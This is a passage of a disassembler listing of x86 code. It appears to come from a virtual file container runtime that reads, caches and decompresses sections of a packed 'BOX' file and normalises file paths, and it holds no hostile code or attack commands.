_4:004D0C30j mov eax, [ebp+14h] mov eax, [eax] cmp eax, [ebp+10h] jnb short loc_4D0C4A xor eax, eax jmp short loc_4D0C55 ; --------------------------------------------------------------------------- loc_4D0C4A: ; CODE XREF: _4:004D0C44j mov eax, [ebp+14h] mov ecx, [ebp+10h] mov [eax], ecx mov eax, [ebp-4] loc_4D0C55: ; CODE XREF: _4:004D0AF2j _4:004D0B17j ... pop edi pop esi pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D0C5C proc near ; CODE XREF: sub_4D100B+30p ; sub_4D100B+EBp var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004D0EAD SIZE 0000015E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE3B8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 68h push ebx push esi push edi mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_34], eax mov eax, [ebp+arg_0] mov ecx, ds:dword_4E1908 mov eax, [eax] sub eax, [ecx+8] sar eax, 4 mov [ebp+var_24], eax and [ebp+var_28], 0 and [ebp+var_40], 0 jmp short loc_4D0CB0 ; --------------------------------------------------------------------------- loc_4D0CA9: ; CODE XREF: sub_4D0C5C:loc_4D0CEDj mov eax, [ebp+var_40] inc eax mov [ebp+var_40], eax loc_4D0CB0: ; CODE XREF: sub_4D0C5C+4Bj cmp [ebp+var_40], 3 jnb short loc_4D0CEF mov eax, [ebp+var_40] imul eax, 18h mov ecx, [ebp+arg_0] mov eax, ds:dword_4E0B7C[eax] cmp eax, [ecx] jnz short loc_4D0CED mov eax, [ebp+var_40] imul eax, 18h mov eax, ds:dword_4E0B78[eax] cmp eax, [ebp+arg_4] jnz short loc_4D0CED mov eax, [ebp+var_40] imul eax, 18h mov eax, ds:off_4E0B80[eax] mov eax, [eax] jmp loc_4D0FFA ; --------------------------------------------------------------------------- loc_4D0CED: ; CODE XREF: sub_4D0C5C+6Bj ; sub_4D0C5C+7Cj jmp short loc_4D0CA9 ; --------------------------------------------------------------------------- loc_4D0CEF: ; CODE XREF: sub_4D0C5C+58j lea eax, [ebp+var_48] push eax call ds:dword_4E172C ; GetSystemTimeAsFileTime and [ebp+var_4C], 0 jmp short loc_4D0D06 ; --------------------------------------------------------------------------- loc_4D0CFF: ; CODE XREF: sub_4D0C5C:loc_4D0D4Dj mov eax, [ebp+var_4C] inc eax mov [ebp+var_4C], eax loc_4D0D06: ; CODE XREF: sub_4D0C5C+A1j cmp [ebp+var_4C], 3 jnb short loc_4D0D4F mov eax, [ebp+var_4C] imul eax, 18h add eax, offset dword_4E0B70 mov [ebp+var_74], eax mov eax, [ebp+var_74] mov ecx, [ebp+var_44] cmp ecx, [eax+4] jl short loc_4D0D4D jg short loc_4D0D31 mov eax, [ebp+var_74] mov ecx, [ebp+var_48] cmp ecx, [eax] jbe short loc_4D0D4D loc_4D0D31: ; CODE XREF: sub_4D0C5C+C9j mov eax, [ebp+var_4C] imul eax, 18h add eax, offset dword_4E0B70 mov ecx, [eax] mov [ebp+var_48], ecx mov eax, [eax+4] mov [ebp+var_44], eax mov eax, [ebp+var_4C] mov [ebp+var_28], eax loc_4D0D4D: ; CODE XREF: sub_4D0C5C+C7j ; sub_4D0C5C+D3j jmp short loc_4D0CFF ; --------------------------------------------------------------------------- loc_4D0D4F: ; CODE XREF: sub_4D0C5C+AEj mov eax, [ebp+var_28] imul eax, 18h and ds:dword_4E0B78[eax], 0 mov eax, [ebp+var_28] imul eax, 18h and ds:dword_4E0B7C[eax], 0 mov eax, [ebp+var_28] imul eax, 18h add eax, offset dword_4E0B70 and dword ptr [eax], 0 and dword ptr [eax+4], 0 mov eax, [ebp+var_28] imul eax, 18h mov eax, ds:off_4E0B80[eax] mov eax, [eax] mov [ebp+var_3C], eax mov eax, [ebp+var_24] shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] cmp dword ptr [ecx+eax+8], 0 jnz loc_4D0EAD mov eax, [ebp+var_34] mov eax, [eax+8] add eax, 0FFFFh shr eax, 10h mov [ebp+var_54], eax and [ebp+var_50], 0 and [ebp+var_4], 0 mov eax, [ebp+var_54] shl eax, 2 push eax call sub_4D835A pop ecx mov [ebp+var_6C], eax mov eax, [ebp+var_6C] mov [ebp+var_50], eax and [ebp+var_58], 0 mov eax, [ebp+var_54] shl eax, 2 mov ecx, [ebp+var_34] mov ecx, [ecx+4] sub ecx, eax mov [ebp+var_5C], ecx push 0 push 0 push [ebp+var_5C] mov eax, [ebp+arg_0] push dword ptr [eax+8] call ds:dword_4E1788 ; SetFilePointer cmp eax, [ebp+var_5C] jz short loc_4D0E1B push 0FFFFFFFFh and [ebp+var_78], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_78] jmp loc_4D0FFA ; --------------------------------------------------------------------------- loc_4D0E1B: ; CODE XREF: sub_4D0C5C+1A4j push 0 lea eax, [ebp+var_58] push eax mov eax, [ebp+var_54] shl eax, 2 push eax push [ebp+var_50] mov eax, [ebp+arg_0] push dword ptr [eax+8] call ds:dword_4E177C ; ReadFile test eax, eax jnz short loc_4D0E54 push 0FFFFFFFFh and [ebp+var_7C], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_7C] jmp loc_4D0FFA ; --------------------------------------------------------------------------- loc_4D0E54: ; CODE XREF: sub_4D0C5C+1DDj mov eax, [ebp+var_54] shl eax, 2 cmp [ebp+var_58], eax jz short loc_4D0E78 push 0FFFFFFFFh and [ebp+var_80], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_80] jmp loc_4D0FFA ; --------------------------------------------------------------------------- loc_4D0E78: ; CODE XREF: sub_4D0C5C+201j mov eax, [ebp+var_24] shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] mov edx, [ebp+var_50] mov [ecx+eax+8], edx and [ebp+var_50], 0 or [ebp+var_4], 0FFFFFFFFh call sub_4D0E9D jmp short loc_4D0EAD sub_4D0C5C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4D0E9D proc near ; CODE XREF: sub_4D0C5C+23Ap ; DATA XREF: _5:004DE3C0o mov eax, [ebp-50h] mov [ebp-70h], eax push dword ptr [ebp-70h] call sub_4D83DD pop ecx retn sub_4D0E9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D0C5C loc_4D0EAD: ; CODE XREF: sub_4D0C5C+144j ; sub_4D0C5C+23Fj mov eax, [ebp+var_24] shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] mov eax, [ecx+eax+8] mov [ebp+var_30], eax and [ebp+var_20], 0 and [ebp+var_1C], 0 cmp [ebp+arg_4], 0 jz short loc_4D0F2D mov eax, [ebp+var_34] mov eax, [eax+8] add eax, 0FFFFh shr eax, 10h mov [ebp+var_60], eax mov eax, [ebp+arg_4] cmp eax, [ebp+var_60] jb short loc_4D0F00 push ds:off_4DE4F8 push 93h push ds:off_4DE4FC call sub_4D848C loc_4D0F00: ; CODE XREF: sub_4D0C5C+28Cj and [ebp+var_64], 0 jmp short loc_4D0F0D ; --------------------------------------------------------------------------- loc_4D0F06: ; CODE XREF: sub_4D0C5C+2CFj mov eax, [ebp+var_64] inc eax mov [ebp+var_64], eax loc_4D0F0D: ; CODE XREF: sub_4D0C5C+2A8j mov eax, [ebp+var_64] cmp eax, [ebp+arg_4] jnb short loc_4D0F2D mov eax, [ebp+var_64] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4] and eax, 7FFFFFFFh mov ecx, [ebp+var_20] add ecx, eax mov [ebp+var_20], ecx jmp short loc_4D0F06 ; --------------------------------------------------------------------------- loc_4D0F2D: ; CODE XREF: sub_4D0C5C+273j ; sub_4D0C5C+2B7j lea eax, [ebp+var_1C] push eax mov eax, [ebp+arg_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4] and eax, 7FFFFFFFh push eax mov eax, [ebp+var_34] mov eax, [eax+4] add eax, [ebp+var_20] push eax push [ebp+arg_0] call loc_4D0A10 mov [ebp+var_38], eax cmp [ebp+var_38], 0 jnz short loc_4D0F62 xor eax, eax jmp loc_4D0FFA ; --------------------------------------------------------------------------- loc_4D0F62: ; CODE XREF: sub_4D0C5C+2FDj mov [ebp+var_2C], 10000h mov eax, [ebp+arg_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4] and eax, 80000000h test eax, eax jnz short loc_4D0FAE push [ebp+var_1C] push [ebp+var_38] lea eax, [ebp+var_2C] push eax push [ebp+var_3C] call sub_4DD9F3 add esp, 10h mov [ebp+var_68], eax cmp [ebp+var_68], 0 jz short loc_4D0FAC push [ebp+var_68] push offset aBoxReadcompres ; ":BOX:ReadCompressedSection: decompresio"... call sub_4D8726 pop ecx pop ecx xor eax, eax jmp short loc_4D0FFA ; --------------------------------------------------------------------------- loc_4D0FAC: ; CODE XREF: sub_4D0C5C+33Bj jmp short loc_4D0FC5 ; --------------------------------------------------------------------------- loc_4D0FAE: ; CODE XREF: sub_4D0C5C+31Dj mov ecx, [ebp+var_1C] mov esi, [ebp+var_38] mov edi, [ebp+var_3C] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4D0FC5: ; CODE XREF: sub_4D0C5C:loc_4D0FACj mov eax, [ebp+var_28] imul eax, 18h mov ecx, [ebp+arg_4] mov ds:dword_4E0B78[eax], ecx mov eax, [ebp+var_28] imul eax, 18h mov ecx, [ebp+arg_0] mov ecx, [ecx] mov ds:dword_4E0B7C[eax], ecx mov eax, [ebp+var_28] imul eax, 18h add eax, offset dword_4E0B70 push eax call ds:dword_4E172C ; GetSystemTimeAsFileTime mov eax, [ebp+var_3C] loc_4D0FFA: ; CODE XREF: sub_4D0C5C+8Cj ; sub_4D0C5C+1BAj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4D0C5C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D100B proc near ; CODE XREF: sub_4D1177+16Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push esi push edi mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_14], eax mov eax, [ebp+var_14] shr eax, 10h mov [ebp+var_10], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_14] lea eax, [ecx+eax-1] shr eax, 10h mov [ebp+var_4], eax push [ebp+var_10] push [ebp+arg_0] call sub_4D0C5C mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4D1050 xor eax, eax jmp loc_4D1171 ; --------------------------------------------------------------------------- loc_4D1050: ; CODE XREF: sub_4D100B+3Cj mov eax, [ebp+var_14] xor edx, edx mov ecx, 10000h div ecx mov [ebp+var_8], edx mov eax, 10000h sub eax, [ebp+var_8] cmp [ebp+arg_8], eax jnb short loc_4D1074 mov eax, [ebp+arg_8] mov [ebp+var_18], eax jmp short loc_4D107F ; --------------------------------------------------------------------------- loc_4D1074: ; CODE XREF: sub_4D100B+5Fj mov eax, 10000h sub eax, [ebp+var_8] mov [ebp+var_18], eax loc_4D107F: ; CODE XREF: sub_4D100B+67j mov ecx, [ebp+var_18] mov esi, [ebp+var_C] add esi, [ebp+var_8] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, 10000h sub eax, [ebp+var_8] cmp [ebp+arg_8], eax jnb short loc_4D10AE mov eax, [ebp+arg_8] mov [ebp+var_1C], eax jmp short loc_4D10B9 ; --------------------------------------------------------------------------- loc_4D10AE: ; CODE XREF: sub_4D100B+99j mov eax, 10000h sub eax, [ebp+var_8] mov [ebp+var_1C], eax loc_4D10B9: ; CODE XREF: sub_4D100B+A1j mov eax, [ebp+var_1C] mov [ebp+var_8], eax loc_4D10BF: ; CODE XREF: sub_4D100B+15Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_10] jbe loc_4D116E mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_8] ja short loc_4D10F0 push ds:off_4DE4F8 push 0BBh push ds:off_4DE4FC call sub_4D848C loc_4D10F0: ; CODE XREF: sub_4D100B+CDj push [ebp+var_10] push [ebp+arg_0] call sub_4D0C5C mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4D1108 xor eax, eax jmp short loc_4D1171 ; --------------------------------------------------------------------------- loc_4D1108: ; CODE XREF: sub_4D100B+F7j mov eax, [ebp+arg_8] sub eax, [ebp+var_8] cmp eax, 10000h jnb short loc_4D1120 mov eax, [ebp+arg_8] sub eax, [ebp+var_8] mov [ebp+var_20], eax jmp short loc_4D1127 ; --------------------------------------------------------------------------- loc_4D1120: ; CODE XREF: sub_4D100B+108j mov [ebp+var_20], 10000h loc_4D1127: ; CODE XREF: sub_4D100B+113j mov ecx, [ebp+var_20] mov esi, [ebp+var_C] mov edi, [ebp+arg_4] add edi, [ebp+var_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_8] sub eax, [ebp+var_8] cmp eax, 10000h jnb short loc_4D1159 mov eax, [ebp+arg_8] sub eax, [ebp+var_8] mov [ebp+var_24], eax jmp short loc_4D1160 ; --------------------------------------------------------------------------- loc_4D1159: ; CODE XREF: sub_4D100B+141j mov [ebp+var_24], 10000h loc_4D1160: ; CODE XREF: sub_4D100B+14Cj mov eax, [ebp+var_8] add eax, [ebp+var_24] mov [ebp+var_8], eax jmp loc_4D10BF ; --------------------------------------------------------------------------- loc_4D116E: ; CODE XREF: sub_4D100B+BAj push 1 pop eax loc_4D1171: ; CODE XREF: sub_4D100B+40j ; sub_4D100B+FBj pop edi pop esi leave retn 0Ch sub_4D100B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D1177 proc near ; CODE XREF: sub_4CF94C+242p ; sub_4CFFBF+194p ... var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 004D145D SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE3C8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 3Ch push ebx push esi push edi cmp [ebp+arg_14], 0 jnz short loc_4D11A8 lea eax, [ebp+var_1C] mov [ebp+arg_14], eax loc_4D11A8: ; CODE XREF: sub_4D1177+29j mov eax, ds:dword_4E18E4 mov [ebp+var_3C], eax cmp [ebp+var_3C], 0 jz short loc_4D11C9 mov eax, [ebp+var_3C] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_40], 1 jmp short loc_4D11CD ; --------------------------------------------------------------------------- loc_4D11C9: ; CODE XREF: sub_4D1177+3Dj and [ebp+var_40], 0 loc_4D11CD: ; CODE XREF: sub_4D1177+50j movzx eax, [ebp+var_40] test eax, eax jz loc_4D145D and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz loc_4D1436 cmp [ebp+arg_10], 0 jz short loc_4D1207 mov eax, [ebp+arg_10] mov dword ptr [eax], 3E5h loc_4D1207: ; CODE XREF: sub_4D1177+85j mov eax, [ebp+var_20] mov eax, [eax] mov eax, [eax] mov [ebp+var_30], eax mov eax, [ebp+var_20] mov eax, [eax+0Ch] and eax, 1 test eax, eax jz short loc_4D1254 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E177C ; ReadFile mov ecx, [ebp+arg_14] mov [ecx], eax push 0FFFFFFFFh mov [ebp+var_48], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_48] jmp loc_4D145F ; --------------------------------------------------------------------------- loc_4D1254: ; CODE XREF: sub_4D1177+A5j cmp [ebp+arg_10], 0 jz short loc_4D1281 mov eax, [ebp+var_20] mov eax, [eax+0Ch] and eax, 40000000h test eax, eax jz short loc_4D1281 mov eax, [ebp+arg_10] mov ecx, [ebp+var_20] mov ecx, [ecx+4] mov [eax+0Ch], ecx mov eax, [ebp+var_20] mov ecx, [ebp+arg_10] mov ecx, [ecx+8] mov [eax+4], ecx loc_4D1281: ; CODE XREF: sub_4D1177+E1j ; sub_4D1177+F0j mov eax, [ebp+arg_8] mov [ebp+var_28], eax mov eax, [ebp+var_20] mov eax, [eax+4] add eax, [ebp+arg_8] mov ecx, [ebp+var_30] cmp eax, [ecx+8] jbe short loc_4D12A7 mov eax, [ebp+var_30] mov ecx, [ebp+var_20] mov eax, [eax+8] sub eax, [ecx+4] mov [ebp+var_28], eax loc_4D12A7: ; CODE XREF: sub_4D1177+11Fj cmp [ebp+arg_C], 0 jnz short loc_4D12B3 lea eax, [ebp+var_2C] mov [ebp+arg_C], eax loc_4D12B3: ; CODE XREF: sub_4D1177+134j mov eax, [ebp+arg_C] and dword ptr [eax], 0 cmp [ebp+arg_8], 0 jbe loc_4D13B8 cmp [ebp+var_28], 0 jbe loc_4D13B8 mov eax, [ebp+var_30] mov eax, [eax+0Ch] and eax, 2 test eax, eax jz short loc_4D12FE push [ebp+var_28] push [ebp+arg_4] push [ebp+var_20] call sub_4D100B mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4D12F9 mov eax, [ebp+arg_C] mov ecx, [ebp+var_28] mov [eax], ecx loc_4D12F9: ; CODE XREF: sub_4D1177+178j jmp loc_4D13B6 ; --------------------------------------------------------------------------- loc_4D12FE: ; CODE XREF: sub_4D1177+161j and [ebp+var_34], 0 loc_4D1302: ; CODE XREF: sub_4D1177+23Aj mov eax, [ebp+var_34] cmp eax, [ebp+var_28] jnb loc_4D13B6 mov eax, [ebp+var_28] sub eax, [ebp+var_34] cmp eax, 10000h jnb short loc_4D1326 mov eax, [ebp+var_28] sub eax, [ebp+var_34] mov [ebp+var_4C], eax jmp short loc_4D132D ; --------------------------------------------------------------------------- loc_4D1326: ; CODE XREF: sub_4D1177+1A2j mov [ebp+var_4C], 10000h loc_4D132D: ; CODE XREF: sub_4D1177+1ADj push [ebp+arg_C] push [ebp+var_4C] mov eax, [ebp+var_30] mov eax, [eax+4] mov ecx, [ebp+var_20] add eax, [ecx+4] add eax, [ebp+var_34] push eax push [ebp+var_20] call loc_4D0A10 mov [ebp+var_38], eax cmp [ebp+var_38], 0 jz short loc_4D137D mov eax, [ebp+var_28] sub eax, [ebp+var_34] cmp eax, 10000h jnb short loc_4D136C mov eax, [ebp+var_28] sub eax, [ebp+var_34] mov [ebp+var_50], eax jmp short loc_4D1373 ; --------------------------------------------------------------------------- loc_4D136C: ; CODE XREF: sub_4D1177+1E8j mov [ebp+var_50], 10000h loc_4D1373: ; CODE XREF: sub_4D1177+1F3j mov eax, [ebp+arg_C] mov eax, [eax] cmp eax, [ebp+var_50] jz short loc_4D1383 loc_4D137D: ; CODE XREF: sub_4D1177+1DBj and [ebp+var_24], 0 jmp short loc_4D13B6 ; --------------------------------------------------------------------------- loc_4D1383: ; CODE XREF: sub_4D1177+204j mov [ebp+var_24], 1 mov eax, [ebp+arg_C] mov ecx, [eax] mov esi, [ebp+var_38] mov edi, [ebp+arg_4] add edi, [ebp+var_34] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] add ecx, [eax] mov [ebp+var_34], ecx jmp loc_4D1302 ; --------------------------------------------------------------------------- loc_4D13B6: ; CODE XREF: sub_4D1177:loc_4D12F9j ; sub_4D1177+191j ... jmp short loc_4D13C5 ; --------------------------------------------------------------------------- loc_4D13B8: ; CODE XREF: sub_4D1177+146j ; sub_4D1177+150j mov [ebp+var_24], 1 mov eax, [ebp+arg_C] and dword ptr [eax], 0 loc_4D13C5: ; CODE XREF: sub_4D1177:loc_4D13B6j cmp [ebp+var_24], 0 jz short loc_4D13DC mov eax, [ebp+var_20] mov eax, [eax+4] mov ecx, [ebp+arg_C] add eax, [ecx] mov ecx, [ebp+var_20] mov [ecx+4], eax loc_4D13DC: ; CODE XREF: sub_4D1177+252j mov eax, [ebp+arg_14] mov ecx, [ebp+var_24] mov [eax], ecx cmp [ebp+arg_10], 0 jz short loc_4D141D mov eax, [ebp+var_20] mov eax, [eax+0Ch] and eax, 40000000h test eax, eax jz short loc_4D141D mov eax, [ebp+var_20] mov ecx, [ebp+arg_10] mov ecx, [ecx+0Ch] mov [eax+4], ecx mov eax, [ebp+arg_10] and dword ptr [eax+0Ch], 0 mov eax, [ebp+arg_10] mov ecx, [ebp+arg_C] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_10] and dword ptr [eax], 0 loc_4D141D: ; CODE XREF: sub_4D1177+271j ; sub_4D1177+280j push 0FFFFFFFFh mov [ebp+var_54], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_54] jmp short loc_4D145F ; --------------------------------------------------------------------------- loc_4D1436: ; CODE XREF: sub_4D1177+7Bj or [ebp+var_4], 0FFFFFFFFh call sub_4D1441 jmp short loc_4D145D sub_4D1177 endp ; =============== S U B R O U T I N E ======================================= sub_4D1441 proc near ; CODE XREF: sub_4D1177+2C3p ; DATA XREF: _5:004DE3D0o mov eax, ds:dword_4E18E4 mov [ebp-44h], eax cmp dword ptr [ebp-44h], 0 jz short locret_4D145C mov eax, [ebp-44h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4D145C: ; CODE XREF: sub_4D1441+Cj retn sub_4D1441 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D1177 loc_4D145D: ; CODE XREF: sub_4D1177+5Cj ; sub_4D1177+2C8j xor eax, eax loc_4D145F: ; CODE XREF: sub_4D1177+D8j ; sub_4D1177+2BDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h ; END OF FUNCTION CHUNK FOR sub_4D1177 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D1470 proc near ; CODE XREF: sub_4CF252+91p ; sub_4D153F+B4p var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov [ebp+var_4], 1 mov [ebp+var_8], 2 jmp short loc_4D1490 ; --------------------------------------------------------------------------- loc_4D1489: ; CODE XREF: sub_4D1470+5Ej ; sub_4D1470+7Fj ... mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4D1490: ; CODE XREF: sub_4D1470+17j mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jnb loc_4D1523 mov eax, ds:dword_4E1908 add eax, [ebp+var_8] mov al, [eax+810h] mov [ebp+var_C], al movsx eax, [ebp+var_C] mov ecx, ds:dword_4E1908 add ecx, [ebp+var_4] movsx ecx, byte ptr [ecx+810h] cmp eax, ecx jnz short loc_4D14D0 movsx eax, [ebp+var_C] cmp eax, 5Ch jnz short loc_4D14D0 jmp short loc_4D1489 ; --------------------------------------------------------------------------- loc_4D14D0: ; CODE XREF: sub_4D1470+53j ; sub_4D1470+5Cj movsx eax, [ebp+var_C] cmp eax, 2Fh jnz short loc_4D14F1 mov eax, ds:dword_4E1908 add eax, [ebp+var_8] mov byte ptr [eax+810h], 5Ch mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax jmp short loc_4D1489 ; --------------------------------------------------------------------------- loc_4D14F1: ; CODE XREF: sub_4D1470+67j mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] jz short loc_4D1517 mov eax, ds:dword_4E1908 add eax, [ebp+var_4] mov ecx, ds:dword_4E1908 add ecx, [ebp+var_8] mov cl, [ecx+810h] mov [eax+811h], cl loc_4D1517: ; CODE XREF: sub_4D1470+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp loc_4D1489 ; --------------------------------------------------------------------------- loc_4D1523: ; CODE XREF: sub_4D1470+26j mov eax, ds:dword_4E1908 add eax, [ebp+var_4] and byte ptr [eax+811h], 0 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+var_10] sub ecx, eax mov eax, ecx leave retn sub_4D1470 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D153F proc near ; CODE XREF: sub_4CFD24+3Ap ; sub_4D0346+19p ... var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_56 = byte ptr -56h var_55 = byte ptr -55h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h ; FUNCTION CHUNK AT 004D18BC SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE3D8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 50h push ebx push esi push edi cmp [ebp+arg_4], 0 jz short loc_4D1570 mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_4D1570: ; CODE XREF: sub_4D153F+29j cmp ds:dword_4E1908, 0 jnz short loc_4D1580 xor eax, eax jmp loc_4D18BE ; --------------------------------------------------------------------------- loc_4D1580: ; CODE XREF: sub_4D153F+38j and [ebp+var_1C], 0 push offset dword_4E18C8 call ds:dword_4E16C4 ; RtlEnterCriticalSection and [ebp+var_4], 0 push 4 push offset a? ; "\\\\?\\" push [ebp+arg_0] call sub_4CC730 add esp, 0Ch test eax, eax jnz short loc_4D15B2 mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax loc_4D15B2: ; CODE XREF: sub_4D153F+68j lea eax, [ebp+var_1C] push eax mov eax, ds:dword_4E1908 add eax, 810h push eax push 104h push [ebp+arg_0] call ds:dword_4E1708 ; GetFullPathNameA mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz loc_4D18A5 push [ebp+var_20] mov eax, ds:dword_4E1908 add eax, 810h push eax call ds:dword_4E17C8 ; CharUpperBuffA mov ecx, [ebp+var_20] call sub_4D1470 mov ecx, [ebp+var_1C] sub ecx, eax mov [ebp+var_1C], ecx mov eax, ds:dword_4E1908 mov eax, [eax+0C14h] mov [ebp+var_24], eax mov eax, ds:dword_4E1908 mov ecx, [eax+0C14h] mov edi, ds:dword_4E1908 add edi, 10h mov esi, ds:dword_4E1908 add esi, 810h xor eax, eax repe cmpsb jz short loc_4D1679 mov eax, ds:dword_4E1908 mov ecx, [eax+0C18h] mov edi, ds:dword_4E1908 add edi, 410h mov esi, ds:dword_4E1908 add esi, 810h xor eax, eax repe cmpsb jnz loc_4D181A mov eax, ds:dword_4E1908 mov eax, [eax+0C18h] mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_4D181A loc_4D1679: ; CODE XREF: sub_4D153F+F3j mov eax, [ebp+var_24] mov ecx, ds:dword_4E1908 lea eax, [ecx+eax+810h] mov [ebp+var_28], eax mov edi, [ebp+var_28] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_34], ecx mov [ebp+var_38], 1 mov eax, ds:dword_4E1908 mov eax, [eax+0Ch] mov [ebp+var_2C], eax and [ebp+var_30], 0 loc_4D16B2: ; CODE XREF: sub_4D153F:loc_4D1752j mov eax, [ebp+var_38] cmp eax, [ebp+var_2C] ja loc_4D1757 mov eax, [ebp+var_38] add eax, [ebp+var_2C] 